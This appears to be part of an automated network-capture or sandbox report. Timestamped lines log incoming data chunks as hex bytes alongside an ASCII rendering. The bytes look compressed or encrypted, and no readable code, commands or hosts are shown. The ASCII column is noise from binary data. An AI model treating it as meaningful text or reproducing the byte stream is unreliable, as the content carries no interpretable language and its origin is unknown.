2022-08-04 11:37:02 UTC	720	IN	Data Raw: 98 f9 c4 49 d6 a9 cb 77 1a a4 d7 da fc b7 1e 22 82 90 71 e3 c9 5c 73 cb 08 4e 11 64 45 aa ad 46 21 e3 2f 9a 89 f5 59 c2 c9 de 2b c9 57 66 e8 9d 18 ef 09 d9 95 f4 3b cd c6 20 11 d1 bd c5 95 17 e5 ab 74 4c ab 34 ba ea a6 34 75 6e d1 d8 76 fb dd 99 6e c8 29 45 69 01 e6 5d 0b 1c ca ab 62 13 75 db 43 93 f2 f8 90 c9 d1 59 8d 45 ee ab 64 33 a2 e9 16 09 f6 f2 14 04 c2 6c 57 cb ab 62 10 7c 71 80 6b 52 ae 30 8b 3f 26 d9 36 14 4e 07 80 0e c3 a4 58 bb 67 37 18 74 3b e3 0a 84 21 16 56 df 10 4d ac 4b ea 69 db 6e 63 21 1a 34 ab 27 d5 cf b6 5e f7 f2 49 2a 86 09 cc ca 5f c4 64 dc a8 1a 09 41 b5 14 d1 39 45 ce bc c7 a2 ef 77 5b b6 97 e3 be 39 07 2a 28 c4 cb 91 0f 89 08 2f 7d 4e 04 9d 0b 0d 16 8c 9e e4 e8 81 27 5f 3a e7 ca 67 7c 96 5a 2b d9 7d cc c7 b9 0b 27 d8 db bd c5 cf Data Ascii: Iw"q\sNdEF!/Y+Wf; tL44unvn)Ei]buCYEd3lWb\|qkR0?&6NXg7t;!VMKinc!4'^I_dA9Ew[9(/}N'_:g\|Z+}'
2022-08-04 11:37:02 UTC	736	IN	Data Raw: d9 6c ed 7e d9 80 1d d1 2e f9 c0 cb f5 d4 73 cb c2 cb 7e c9 25 7e 9e 51 e4 2e aa 2d 1e af 59 df 16 01 b3 4e a4 03 02 f4 45 8b 0f 82 94 c4 48 94 d4 bc b1 65 05 22 40 f0 81 07 4c 89 cf 7a e6 90 25 41 f9 e4 bb ce fb 98 a3 4f ac 8a 45 80 2b 84 ef ae e7 cb 4a 8c c6 ef 9d dc 0c 9c e4 14 04 a7 e0 29 3f e9 70 3d b9 b5 69 ff 14 34 2e e0 40 d8 72 5f 6a de 7d 45 7f 2f 32 da 7d 08 aa e9 59 3f 30 53 e6 9d 38 9a 82 fe 80 c2 da 61 03 15 3a 02 07 c0 b8 d7 70 13 01 5c fd 9c 68 fc ff aa 3f ec 54 92 8c b6 e2 e9 68 62 b4 bb 8e 44 51 76 3e ae 2d fe 6f cc 08 01 99 70 eb f7 e6 c4 4f df 29 ad 65 7a 2c 58 a4 ff 65 5f b2 16 84 ce 80 b3 93 92 be 62 6a 8b fd 96 b5 95 db 31 3b ca ee 62 ea de f7 cc 64 bd f0 46 95 7e 8a a6 17 ef cd ed 1d 3f a7 4c 69 39 c8 e6 31 da bd b2 6d 57 d3 3f 89 Data Ascii: l~.s~%~Q.-YNEHe"@Lz%AOE+J)?p=i4.@r_j}E/2}Y?0S8a:p\h?ThbDQv>-opO)ez,Xe_bj1;bdF~?Li91mW?
2022-08-04 11:37:02 UTC	752	IN	Data Raw: 80 e8 ff 5c 05 30 4a ec bd a2 ce 55 73 e0 a6 49 27 65 21 0b 44 21 24 c2 de b9 00 c5 89 f1 bb 9d 06 3d 88 c8 cb 69 7d ea bb 75 e5 cc 2f 6a 2f 75 e0 59 01 c3 e6 8b 9c 09 13 e3 fd 07 d2 aa 98 fb e6 aa 07 55 ce bc 6c e8 06 56 09 5b f6 29 0a 73 f8 0d 29 f1 4c d8 d9 8b 2f f2 35 c4 ea 78 da ee 2f e7 fd 96 81 95 dc ff ee e9 20 d4 dc 5a d7 01 00 49 63 18 2e b2 bb 96 10 47 45 b4 e8 5b 25 29 61 88 ca 3f a6 8a 93 ae a3 85 22 1c 4a e6 b9 69 f7 0b 99 2b 17 3e ae 38 4f 12 9d 14 9c 7a e9 2f 01 fd db 54 89 29 f2 3a ee 78 22 95 14 cd ef 0d 7e e2 20 4f f9 cb d2 f0 83 31 95 dd 96 68 b4 2b 64 4c fc 03 3d 21 09 45 03 75 31 84 c9 2b 2d 92 96 34 de ab 16 ac 70 8f 44 03 30 9f 74 fa eb fc eb af d7 9e 9a 4a c2 eb 8b fb 4e eb ce 79 3d 45 a5 31 7d 89 84 5c c0 52 d9 55 45 c7 e8 ba c9 Data Ascii: \0JUsI'e!D!$=i}u/j/uYUlV[)s)L/5x/ ZIc.GE[%)a?"Ji+>8Oz/T):x"~ O1h+dL=!Eu1+-4pD0tJNy=E1}\RUE
2022-08-04 11:37:02 UTC	768	IN	Data Raw: 12 21 fc aa 9c 4e e4 99 5e ad 40 29 4c 01 95 41 12 c4 6e 84 48 b6 94 64 4a dc bb b3 25 55 35 6f f8 67 a4 31 9f 09 e6 2b a3 38 96 aa 81 6d 63 5d 3d 31 93 ab 8b d5 48 63 0b 1f ff e6 01 67 6c 7d 3d 6b c8 a3 f5 00 7e 06 db ac df fa ff 2f 4a 20 ef 9e 38 16 ba 54 bd b7 c4 5b 01 13 1f 65 7a 80 b7 7a 97 9e cf c0 fb 4a a4 ec 16 ce d1 0e bd 03 32 39 24 80 0c d8 26 5e f4 fc 64 5e f8 46 a7 84 ff 02 45 b6 1d f7 ec 50 84 14 44 54 4e e2 1e b9 d7 03 46 2b 6d 43 bc cb 56 4d 76 5b 29 97 3c 49 c4 29 12 d9 52 02 7b 66 7d 5c a7 a7 57 9d 82 9c 04 38 47 4b a0 9e 36 97 61 9d 06 2a 2d 7c 54 19 69 33 2e ef 29 36 2a a1 62 2e fc 7f f2 17 57 79 e4 c4 ea f7 ec 4c d8 09 45 29 33 f5 c5 fd 69 5f 52 35 27 01 e8 5d 61 c0 30 09 2b a9 53 d3 ac de 59 23 c4 29 f6 eb a6 c2 25 05 31 0f f0 6a 38 Data Ascii: !N^@)LAnHdJ%U5og1+8mc]=1Hcgl}=k~/J 8T[ezzJ29$&^d^FEPDTNF+mCVMv[)<I)R{f}\W8GK6a-\|Ti3.)6b.WyLE)3i_R5']a0+SY#)%1j8
2022-08-04 11:37:02 UTC	784	IN	Data Raw: 93 e9 80 96 74 ba ef 9d db 3a 17 05 be 75 1d b9 2f 84 89 d0 ad c0 16 31 e1 e7 fb 4f c7 f7 d4 e2 ae b6 97 4f dc 19 c3 44 66 03 4d 33 b2 d3 01 9c ec a5 d3 5f 2a ac 42 b4 be e6 3f 4e fa 25 7b af 62 aa f5 83 42 09 30 cd 13 88 ff 8b a0 69 0f 75 9c 90 b7 54 e8 c7 01 e9 55 73 ed a7 f5 99 be f7 2a bf 2d a0 de 76 3f 45 fa fa 29 37 de ab 42 fc 41 09 8b 06 fd 4e 7f 9d d8 40 9d 96 7e 86 0e 8a ca f5 50 b8 4e ee e3 ea d2 cd 21 3f e6 67 d7 c5 a0 fa c5 db ab 9c 8b 8b 4a 1b e7 ef 4a aa 98 04 c4 ac 93 4b c5 ee ce 23 4e fc e2 4e e3 14 85 63 33 ba 99 3e 15 a4 ef f2 db d3 e9 e6 d2 f2 18 82 4c 01 37 77 e3 08 4b 6a cb 0b c8 03 47 41 bf 72 ee 3d 19 2b 9e af 59 c7 4e b8 a3 a4 ba cb 1b 50 fd de 5e 48 b7 7f 25 ce 75 9e 20 27 ea 3f ce df 2d f1 20 16 45 ae 5d 8a e9 75 ce d9 bf de 18 Data Ascii: t:u/1OODfM3_B?N%{bB0iuTUs-v?E)7BAN@~PN!?gJJK#NNc3>L7wKjGAr=+YNP^H%u '?- E]u
2022-08-04 11:37:02 UTC	800	IN	Data Raw: 12 74 00 39 ff e7 53 56 be 28 36 00 ef 77 31 74 24 08 5e 5a 05 68 5d 81 2e 1e fb 90 4d be 7e 7c 00 3f 6f 55 bd 7b 2f eb 5f 37 09 ee 2a 30 17 48 cb 75 06 ff c6 c1 e6 08 06 58 02 9b 00 28 92 32 a7 31 f2 5e 0b e9 c7 d1 1f d7 67 8d 84 e8 ce 1d 37 4e 0b 54 f7 14 67 44 4e 2f 16 49 f3 ff eb 3c 04 33 3b ed ef 42 00 7e 98 2d 2f 10 73 f1 95 7b 0e a4 23 2d 54 1b 52 74 dc a7 7d 14 7b 4a e6 ba 2d f4 2d 47 13 09 df fb 29 b6 2f e3 e7 48 3f 4b ae 29 95 78 16 d3 e1 fa 3a 8a 6e 4b ea 92 25 de 50 fa bd d3 5b a5 dd 8f 4b 49 08 d6 43 73 5f c4 f3 6f d6 be 16 71 a2 41 d6 a8 a0 4a e2 23 d2 ac 0c 8b 25 fd 1e 48 a2 d2 65 e6 27 f9 0e af fc ab 28 7a 86 57 bf e2 3c 56 e3 e9 54 d6 e5 10 a3 8a 25 0e e2 1f 7e 3f 72 f7 73 97 10 e9 93 a1 89 66 6c 4a f3 c8 25 d8 4e bf 17 09 fb 9c bb 70 e0 Data Ascii: t9SV(6w1t$^Zh].M~\|?oU{/_7*0HuX(21^g7NTgDN/I<3;B~-/s{#-TRt}{J--G)/H?K)x:nK%P[KICs_oqAJ#%He'(zW<VT%~?rsflJ%Np
2022-08-04 11:37:02 UTC	816	IN	Data Raw: a4 0e 97 d1 25 49 5d 53 00 a7 85 d7 29 b8 8b b5 e1 64 2e 8a 36 57 66 65 e8 fb ac 3f 4a 04 3f e6 88 f8 6a f2 c3 f7 65 3f 12 ee bd 58 97 a3 13 5b 0b 49 c7 f7 c5 a5 a5 11 29 f3 3e e6 dd 93 fa 64 60 ee f6 1d 25 0d 9a 3e f5 e1 30 e6 fa dd db 99 0b c3 90 f3 cb 96 c5 62 9e f6 7d 54 6d 72 dd 1a 84 89 70 f5 6e a4 ee 04 a5 59 0b 2b 38 ab 55 55 c5 22 aa ba 9d 3b 27 4b e6 ff 8e c6 4f 60 52 21 fd 03 4f 3e 13 db ea ce 14 69 64 7e 47 d8 31 3e 97 5b fa a8 af bd 65 19 25 56 41 c2 c0 01 4c a1 0b 77 1a 4f 46 e2 c3 df f1 ab 4d 0e 3b ca c5 77 2b 01 c8 37 bd 22 08 13 4d 89 d2 c2 23 3e 7f ea e0 df 22 04 f6 80 5c dc 5a 49 23 08 3e 8b ae 69 e3 05 2d ce a1 81 3f 8a b8 2d e9 55 3a 2a 77 c5 b0 17 37 e3 6a 96 a7 60 4e 16 98 8a 35 0b 4c 09 f0 d6 e0 cc 71 12 bd f1 31 27 fb 48 ad 7b a1 Data Ascii: %I]S)d.6Wfe?J?je?X[I)>d`%>0b}TmrpnY+8UU";'KO`R!O>id~G1>[e%VALwOFM;w+7"M#>"\ZI#>i-?-U:*w7j`N5Lq1'H{
2022-08-04 11:37:02 UTC	832	IN	Data Raw: e2 ca 8a e9 22 45 ee ab ca 95 16 c6 20 a3 7d d6 a9 d8 95 35 c9 cb 7f 51 a3 c2 89 fc 55 73 e4 8a e5 78 1f 5a fd 3a f6 32 bb 65 43 2d 8f 96 49 80 7c c0 70 89 d9 b6 97 27 df 94 3c c9 20 db 96 9a 97 d3 dd ad b1 c5 1e 33 af d5 2e 92 0f 18 10 57 ee cb b0 2a c1 70 97 f4 01 c8 36 87 39 14 24 b9 f4 9d c9 78 fd 9d 09 b6 74 41 2d d7 1c de bd 1a 4b 62 e9 5c 70 72 55 56 27 3f ad ea fe 62 52 77 42 30 65 91 ad 14 9d 9c 56 c5 12 64 39 b8 fa 92 aa 57 69 ec 6f a2 c4 57 ed 5e 2f c4 84 50 66 a1 59 5c 26 41 b5 f3 d4 13 01 f5 ec 13 58 99 09 09 11 9c d5 8b a4 de a7 c8 c9 af 67 ba b4 f6 ef e2 a5 d4 b9 b2 ed 5f 4e a2 2f 21 c9 d9 7c 64 88 b8 44 f1 c8 90 15 82 72 de fd e5 4c 0b f1 88 59 ea 69 58 55 bd c5 31 25 5d 46 dd bd 1a 9a 5d d9 9f ad 04 c6 bd 50 a0 4e e7 6c 67 d0 d8 d9 f5 f9 Data Ascii: "E }5QUsxZ:2eC-I\|p'< 3.W*p69$xtA-Kb\prUV'?bRwB0eVd9WioW^/PfY\&AXg_N/!\|dDrLYiXU1%]F]PNlg
2022-08-04 11:37:02 UTC	848	IN	Data Raw: d6 bf 25 e7 4f a5 66 6d 25 89 c0 53 8c 32 4e c1 75 62 b8 47 b4 a5 cc c7 2d 35 90 96 c1 97 f9 45 49 75 ab 1b 55 e5 12 09 e9 3f 74 ae 7a 5b 24 1d f6 e7 4e cd 49 c2 e0 8e f6 1d ed 16 d9 d3 1c eb 74 b4 d4 0a ce f6 4c 4e 2d e6 f4 e5 25 77 ba 11 77 ea 97 f7 65 9b af ff 18 f8 c1 80 b6 a8 5a 77 44 63 4b f6 72 8c 02 29 5d ba 11 5f cc 0b 49 ed 26 c9 0e ee 74 4a e8 21 13 21 d3 6e 5a 58 dc 77 41 bd fb 6a b2 45 25 e9 76 18 cd 26 52 ba c1 7d 67 15 25 5d b8 83 c0 01 a7 51 2d 64 79 12 45 03 39 ea 28 b3 e6 bf 51 a9 c9 d0 62 60 41 e6 1e bb 22 60 b5 44 13 d3 be ef 98 98 ee 58 78 be d5 73 7a 9d d4 de 7a ff ec 4f 84 63 22 f5 88 a1 d3 3f 7c 7d a1 f3 04 c2 2b d6 ec 96 cf ab 8e 02 5a c4 90 37 1c 72 21 fb 7d b8 32 01 fa c9 c0 d5 50 ed 95 ce ba f4 ff a1 f7 32 3b 65 59 be 65 fc fb Data Ascii: %Ofm%S2NubG-5EIuU?tz[$NItLN-%wweZwDcKr)]_I&tJ!!nZXwAjE%v&R}g%]Q-dyE9(Qb`A"`DXxszzOc"?\|}+Z7r!}2P2;eYe
2022-08-04 11:37:02 UTC	864	IN	Data Raw: f8 7a a2 e2 92 a2 d5 c1 55 75 c1 e9 65 be 2b b2 30 d1 ff 92 ef e6 14 77 b5 e6 82 2d e8 5e 7d 8d fe ee 7b 85 cd a8 fa a2 ea 77 5e 5f 7a 55 ba 2d d7 32 37 57 dc fe 5a 77 42 6d ff ee 43 97 0a 2f d6 49 fe dc 73 4f 45 fc 4f f6 02 b7 6e 6d c9 ea d1 16 a1 d3 d6 cb 92 4a c4 44 bb 8f d0 49 f3 5a af 62 69 ea 7f e7 52 af ec d1 9f 8b 67 14 7f 9d fd a9 ee 55 7b 84 48 b7 a7 7f 47 92 2d ec 62 a2 47 dd 14 9a 98 11 b3 9e 89 09 f7 fc 29 52 75 f6 bb 65 f6 fd 17 9a 5a fd 42 6e d5 cc 58 9d 7f 1a 43 d5 fb 39 12 f3 ae 8a 20 5e 13 d9 fa 8f 92 20 18 4a d7 dd bc 7a e9 6b 92 14 68 05 e3 41 05 ce fe 61 d1 0b fe 29 82 7a ac 04 a4 fc 63 c9 05 46 5d fa 40 bf 96 79 bf dc 18 92 ca ea b2 bb d3 1d 60 c2 45 09 1c 24 f7 ee 4f b7 1a c3 5d 65 04 27 42 79 57 94 58 9f b2 f9 fc aa 6e d7 d6 a7 96 Data Ascii: zUue+0w-^}{w^_zU-27WZwBmC/IsOEOnmJDIZbiRgU{HG-bG)RueZBnXC9 ^ JzkhAa)zcF]@y`E$O]e'ByWXn
2022-08-04 11:37:02 UTC	880	IN	Data Raw: 1f 01 18 cf 99 39 98 cd 87 ec 54 84 c0 82 e8 a0 57 7e 29 58 ff 46 00 af 37 30 78 b4 62 90 13 a1 f8 3d 90 f7 6c 04 8d 02 7e e5 80 9f 33 15 7d f1 ac a7 dd b5 98 21 0a 18 72 29 52 ab fb 3e d9 89 08 14 30 bc 1a 08 2b 79 06 e9 4f 5f 1e ea 42 30 b1 1e 98 2f f0 25 00 7d 15 7a 7c 22 29 3a fe 15 80 32 ec b6 07 6c 01 8a d7 6a ac 85 96 62 ed e0 7e 88 0b 07 e9 91 f0 27 d1 d2 71 b1 f3 0d c1 86 77 83 4c a8 25 da ff b2 ff 73 75 09 21 c2 fe d4 52 79 e2 93 2d af e6 3e 9e 89 29 f7 d1 d2 45 e2 d9 ae 2f 09 c1 36 6e 3d bf ea 79 f5 16 46 94 02 a7 f5 14 58 4b c3 b3 a2 2d da 30 cf 66 41 a3 37 e2 08 12 50 ee 2d 31 f2 f7 96 96 27 09 cb d7 1a 32 c2 31 f4 53 22 a4 4a c2 ab 72 95 cb fd cd 37 0b c4 1e d1 68 6c 58 34 4a 24 a7 aa 58 d9 59 ac 5f ca a9 5a 98 79 e7 96 cb cb 1a 61 fd d1 56 Data Ascii: 9TW~)XF70xb=l~3}!r)R>0+yO_B0/%}z\|"):2ljb~'qwL%su!Ry->)E/6n=yFXK-0fA7P-1'21S"Jr7hlX4J$XY_ZyaV
2022-08-04 11:37:02 UTC	896	IN	Data Raw: d1 1c 0d 08 1c 09 14 17 20 ca 2c 01 e9 25 77 f0 ff 58 69 a7 c2 ab e1 16 ee 5c 5f 1f 94 2c 61 48 04 00 8b e1 d2 69 5b 26 13 89 28 93 05 d6 b6 2f 05 94 f8 0f 0a 9a 2b bc a0 8c 07 6e 3c c3 7d 1b 03 d8 47 0a 28 ad 08 5b bc 98 34 29 71 39 97 1e aa 77 78 70 11 84 8c 4b 13 9c 78 7c a2 2f f3 41 d2 30 75 54 d9 58 21 33 b7 53 0b e9 5a 4d 69 44 14 5d 9c 2c 2b 31 19 24 c4 0c e3 c6 7b 95 f6 ed 72 7f b2 17 5d f9 8e b1 31 f5 40 6a 2d 9a 2e 16 94 c8 2d f2 b3 60 b2 7b 0a 77 6c e9 90 45 4b cf e9 5e 89 4c 7f 31 25 e2 6e f3 e5 26 fb 0c 4b 79 83 69 ec 8a b7 dc 36 93 e0 aa 89 dc 2b fc 21 5a 8a f6 2c ed 2a c4 eb ee e3 d4 4c 23 27 fb 5b c6 a5 f7 18 b6 21 f7 9f 79 8b 4f 52 d9 d6 35 53 2e e2 69 d3 bb 62 1e e9 64 5d 9e e1 92 f5 be cb da 4b ec db 5e a6 ec 40 af c0 73 44 fd 7f ca 6c Data Ascii: ,%wXi\_,aHi[&(/+n<}G([4)q9wxpKx\|/A0uTX!3SZMiD],+1${r]1@j-.-`{wlEK^L1%n&Kyi6+!Z,*L#'[!yOR5S.ibd]K^@sDl
2022-08-04 11:37:02 UTC	912	IN	Data Raw: 64 c0 5f c7 dd 25 6c 30 bd 5c c9 e4 c3 ef e6 64 5a 72 49 f3 32 57 46 84 b7 f3 c9 48 fe c1 41 21 5d 2f 9c 8d 4d b2 bf bf 54 13 eb d7 65 86 12 4d bc 99 a4 0b c2 db 40 ad 81 36 09 85 90 ca 6b d5 3a 76 5d 56 62 c5 c0 ae 69 12 3f 82 0d e0 c5 44 25 75 c6 8a bd 74 08 12 e8 be b2 4c d3 be 8e 23 4e e6 d3 53 f3 64 ca ec ea ac c4 cb 88 f9 aa e4 ea f9 88 da 7c df 67 59 25 7f 02 53 11 72 7d 32 fc 61 17 d7 3b 94 ee be fc 1f a4 be 84 1b bb 3c 95 c3 5a 1c 8b 6e 5a ab 4b 1a de 7d 3a 01 77 94 09 92 00 5e ed be 75 27 bb a7 d7 4f d8 73 66 c5 84 95 2f bb ca 37 21 ea ad 42 84 5f dc a0 c2 ec 10 5b e1 25 d9 e2 a0 8b 95 71 42 a5 54 76 69 d7 a2 43 c5 80 d1 e8 68 b9 16 89 bf 0b 7d cc f5 45 6d af 54 e6 eb d5 34 f4 16 48 09 d3 bd 07 90 b1 77 bf 5e 3d cb f8 49 bd 74 e4 c4 cc ff 65 ab Data Ascii: d_%l0\dZrI2WFHA!]/MTeM@6k:v]Vbi?D%utL#NSd\|gY%Sr}2a;<ZnZK}:w^u'Osf/7!B_[%qBTviCh}EmT4Hw^=Ite
2022-08-04 11:37:02 UTC	928	IN	Data Raw: 22 9c 6d 2d de 11 51 cf 2a 39 f1 4c 76 c9 bd 7e 41 73 5a 0e ae 3d b1 44 05 a6 ae 13 01 ff 98 ca 4c 77 21 bf ec 8d 96 2b a5 55 c5 cb 92 2b e8 ce 2f cf 71 17 eb 56 89 af 78 de 73 f4 92 57 27 09 de 71 95 49 5b b0 27 73 5a 2d fb 05 16 02 ed 72 d6 75 49 af c4 62 be 39 fc 6e c4 60 36 0b 98 73 c5 27 29 e6 73 15 af 09 da 7f 32 95 6e 64 9f d9 2f 25 e7 06 a7 fc 97 c9 ab 1f d7 14 d7 4d c1 fc a1 31 de 6b 94 67 ee 9d 9c 6f cc 0f f6 ac 9a 4f e7 a3 f2 97 84 b8 aa c0 a7 52 5d 31 2d 1a bd 55 2e 67 d7 ef cc 24 a8 7c c4 40 ff 6c 89 05 d0 74 7e 0f 9b 12 92 9c 62 81 d1 d4 55 76 85 70 20 d7 8c 00 9d 15 fe 87 03 6d 0e c5 9d 79 26 cf 49 d0 d5 d1 19 43 33 19 f9 39 18 2a ae 2c 28 0b 09 b0 b4 06 41 fd 9c 1c 7a 0e 15 21 01 70 d7 5a a2 81 89 f7 d7 f1 cb 6b 5f 08 58 c9 1a dc 0c d0 df Data Ascii: "m-Q9Lv~AsZ=DLw!+U+/qVxsW'qI['sZ-ruIb9n`6s')s2nd/%M1kgoOR]1-U.g$\|@lt~bUvp my&IC39,(Az!pZk_X
2022-08-04 11:37:02 UTC	944	IN	Data Raw: f7 e4 ae a3 08 3f 01 5d e3 34 30 1d ee b8 2b e5 eb b3 a1 5e c5 4c 16 78 ad 76 99 de f7 2a 8a 8f 5d 84 8b d9 f6 51 05 41 03 37 b9 32 92 ec 15 4b ca 6b 17 2b 30 8b 3b 5a be 74 da be d8 34 e4 52 40 ff 12 29 32 0b 5f ca 5d 4e 28 4f e8 ef 71 8c ce 80 3e 39 fc 15 4c bf 94 74 af b7 03 42 ef 7d 04 28 3e 0e a0 44 bf 99 f1 2a ca 4b 13 e1 08 9c 90 cd 43 40 2f e8 54 7d 70 41 31 96 b4 16 ee ff 28 1f c6 50 1e 58 31 4b ea b6 e1 4c 04 25 c1 53 75 05 41 21 36 12 f5 c1 89 c0 48 59 f5 65 76 2f e2 2a 8b e0 74 7e 65 dc a2 2a 8b e9 ba 7c ec ac 92 32 bc 15 52 dc 51 49 f9 28 49 55 cc eb 56 7c 98 56 07 27 c6 7d e7 d2 26 4e ac 8b e8 ee 16 ee ff 95 b3 84 f9 b2 a9 8b ee b9 95 0e 10 41 8b 5d bd dc ad 44 e4 fa 77 b4 d4 f6 be 8a b1 28 f7 76 90 44 5b 09 e6 64 30 41 ac e1 c1 92 5b 6a ed Data Ascii: ?]40+^Lxv]QA72Kk+0;Zt4R@)2_]N(Oq>9LtB}(>DKC@/T}pA1(PX1KL%SuA!6HYev/t~e\|2RQI(IUV\|V'}&NA]Dw(vD[d0A[j
2022-08-04 11:37:02 UTC	960	IN	Data Raw: f9 0e 93 8c b8 fa 9d 6c 45 17 45 2b 7d b2 be d3 95 fe fb 29 7b 38 16 d2 00 e3 ef ec 82 b6 63 4a 4d d2 47 ca 5a 44 95 e5 f4 10 90 92 ff 72 a5 f4 77 e7 83 27 73 68 a7 d5 32 f6 5e de a7 de 30 5a 75 32 28 7c 04 c7 e4 04 08 ad af 93 fe 8d dc 59 1e 05 a0 eb 5e 44 66 04 72 54 c1 2d 73 6e a7 d0 ce 97 fe ad eb f9 3c a7 de ac 65 c9 bd 36 8b 04 67 57 a5 55 67 78 26 2a 52 ee 5f 57 ca 8a 42 2a 27 ea 57 ec 95 95 f3 7e b5 ba bc bf f1 f1 f0 48 49 11 a4 57 bf f1 f2 cb fc 30 e2 63 30 41 25 d1 92 ad 40 b8 b7 e5 ab 25 c9 ae 32 f7 d7 77 30 70 4c 31 5a d1 fa 28 dd ff 4b e7 75 a2 bb 2d 9b 2b a6 81 92 27 1f d5 0a 44 52 c6 02 ac 2a c9 37 70 27 4c 3e c3 93 ea b5 4a 7e f8 76 e5 a3 e7 d3 a1 49 f6 77 54 51 e4 01 01 e8 41 ff 37 3e d1 60 8f 07 15 56 94 f2 c0 90 ff 5b ce b9 4e 85 c3 ec Data Ascii: lEE+}){8cJMGZDrw'sh2^0Zu2(\|Y^DfrT-sn<e6gWUgx&R_WB'W~HIW0c0A%@%2w0pL1Z(Ku-+'DR*7p'L>J~vIwTQA7>`V[N
2022-08-04 11:37:02 UTC	976	IN	Data Raw: 55 57 53 27 c9 77 3a b4 55 f0 1c 97 dc 23 e2 05 b5 51 7f 68 e6 c4 c3 fa 99 c9 2a 84 0d ca c5 7a 4a c1 ea 95 e4 aa 2d 6e 3a 84 17 fa 38 2e e6 58 40 c8 e5 be c9 a6 a5 9e ff 6e 42 2e c9 80 de 78 01 cb f5 3b ef 65 9e bf a3 7f 4f f3 29 3f 31 4e bb 60 9f 21 f1 05 09 d6 0c 0d 7c c5 77 27 12 cc 85 23 ce fc f8 b4 13 9e e3 00 d8 76 e9 09 7f 07 b8 fe b7 db b3 ad 62 e8 5c 24 72 df b2 c3 dd b1 d4 e5 3e b8 88 b4 eb e6 18 5b ec c6 4c cf a4 e8 bd 73 7d c4 b5 fa 04 25 09 f5 56 c0 27 ec a0 90 34 69 ca dd 7f 14 97 55 e3 36 3a ac 58 16 f6 80 cb 48 5a f8 45 59 89 db 14 4e 36 fe ca 92 6b 3c 39 29 80 73 8b d3 60 ec 4c 63 27 f5 2f fa 29 d8 3f 8a c1 16 ff e2 fa ca 51 4b da 6d 5a b6 6a 54 5f 06 97 73 57 b5 44 aa 38 99 41 f7 7b fc aa 7e 9f 4d 4a 30 c3 41 33 06 bf 34 0e 4d 0c 8f 89 Data Ascii: UWS'w:U#Qh*zJ-n:8.X@nB.x;eO)?1N`!\|w'#vb\$r>[Ls}%V'4iU6:XHZEYN6k<9)s`Lc'/)?QKmZjT_sWD8A{~MJ0A34M
2022-08-04 11:37:02 UTC	992	IN	Data Raw: b8 6e ec 98 bc bc b7 13 e4 a6 1c 40 b0 e5 c9 20 ec ee ca 2d 09 dc f3 06 2d fa d1 28 21 c4 92 4b ec 99 d2 2f ee 72 15 3f 45 a1 34 56 ee 28 2c c0 97 51 45 6f 89 06 7e 98 52 57 d3 13 0a 25 10 ed 72 77 6e 10 2d c5 0d 1c a2 27 2d 3f c7 d0 20 a3 9f 73 73 25 a9 09 fe f8 17 e9 bb 9c 63 f2 cb 2b 07 77 6c 42 2f 29 f6 7d ae c9 da 13 75 2e 64 7f e7 f6 20 c8 97 25 50 cd bd f9 a1 4b 5d e6 4c 97 62 57 dd 0b ee 76 d4 c9 5d ba 97 53 d9 13 ce ae a2 97 d7 ba 28 2e c6 4b 80 2d 32 2e ee 4a 9c d6 98 50 21 e4 97 d9 ba 46 f4 b9 b7 45 58 94 cc 33 8b ec ec 22 b5 9c 10 95 5b 47 a0 cb bf 6c 68 b2 8a 81 bd ce 7d 40 dd d2 c1 fb 39 e3 2b a0 5d 44 27 31 11 7d 39 fc f1 58 8f e7 4a 01 ce ed 58 78 5a e7 55 29 05 73 25 5c 05 69 7e fb 27 9c 39 22 f1 40 a0 fd 34 24 0b d0 96 03 4b ca 00 48 b4 Data Ascii: n@ --(!K/r?E4V(,QEo~RW%rwn-'-? ss%c+wlB/)}u.d %PK]LbWv]S(.K-2.JP!FEX3"[Glh}@9+]D'1}9XJXxZU)s%\i~'9"@4$KH
2022-08-04 11:37:02 UTC	1008	IN	Data Raw: e9 03 89 2a f7 16 a2 13 45 03 2f e3 f1 22 f0 7d 44 52 29 67 ca 21 0d 64 1c 56 1f 98 82 51 a6 e8 1f 7d e5 b7 91 41 20 40 46 58 42 50 22 29 9d c1 35 2f 49 26 06 0e b7 97 79 9d be 34 ec c7 21 a0 8b 09 30 35 cf 16 e9 99 4d ee 89 d4 3a b1 38 55 06 fb 61 1b 8b 38 f2 a0 47 62 f5 e0 75 24 41 57 d5 b4 6c dd 11 ea a2 20 63 17 ff 67 25 3a 0d 16 41 5e 18 fe a2 2c ff e6 7d 6e fc 20 a3 03 2e a7 ed 42 1c e2 0a 67 fe 12 13 f7 ba 04 49 2e fd 97 86 27 6d a6 5c 15 5e 69 b9 cb f5 f6 fd 25 13 9c f2 5e 2b f0 42 c6 e1 7e 2d 7f 20 d9 d9 b0 3d 7d d7 d2 0c e5 b6 7b f7 df 13 ca f0 8e 2e 7e 5a cc fc 0f f4 f8 66 e2 e3 5d 31 66 06 c2 2b 5e cd e9 c2 6c 5f ba 88 78 97 4c 30 fa 39 c3 cf ee 32 22 25 de 29 e2 29 c3 65 fb 25 fd e7 3f a7 31 6b 41 6f f8 15 a4 a7 5e 4f eb 77 f8 ab 7b e2 92 f2 Data Ascii: *E/"}DR)g!dVQ}A @FXBP")5/I&y4!05M:8Ua8Gbu$AWl cg%:A^,}n .BgI.'m\^i%^+B~- =}{.~Zf]1f+^l_xL092"%))e%?1kAo^Ow{
2022-08-04 11:37:02 UTC	1024	IN	Data Raw: 31 f0 be 37 be 33 ca ba 28 a0 44 e8 2b a7 a8 bb 9f 22 6e 0a 15 20 2b 44 cb 40 41 8a 1f 80 fb 5f cd a9 5b c7 f5 12 1d d2 2e ae 39 0a db bd 56 88 fb cb a0 5a f2 ba 86 36 66 24 28 fe 5c b5 90 a4 0b 51 b0 c5 79 7f 44 af c9 50 16 74 86 ea a1 64 d4 f2 bf 20 09 0f f1 c9 9e 80 34 c7 20 0e 0b e8 40 b7 a6 5c d1 e9 27 42 8b 06 50 65 44 cb 40 2d 20 3e 5c b1 74 90 23 b5 e7 b7 3a 7d 94 9e 26 1d 02 4a 46 bf 02 80 dc 19 a9 65 0d c1 18 32 a0 67 0f 87 0c a8 c6 b3 63 29 d3 41 28 08 a1 0c 14 22 20 f9 40 2c e9 0a 12 3d ec ff 70 74 54 5f d4 e6 67 38 4e 61 14 7f f4 19 c0 84 51 1c 17 c0 2e 1f dd db 2f 0d 13 ce fe e9 e3 81 26 c6 29 0b e4 09 7d ee 67 44 fe 5f 42 27 2d 37 32 f8 11 44 74 10 30 eb 15 e0 ca 0a e2 a3 35 71 39 1c 03 4a ce 6e 08 01 5e c1 0c a4 34 c1 88 3a ce 10 06 09 51 Data Ascii: 173(D+"n +D@A_[.9VZ6f$(\QyDPtd 4 @\'BPeD@- 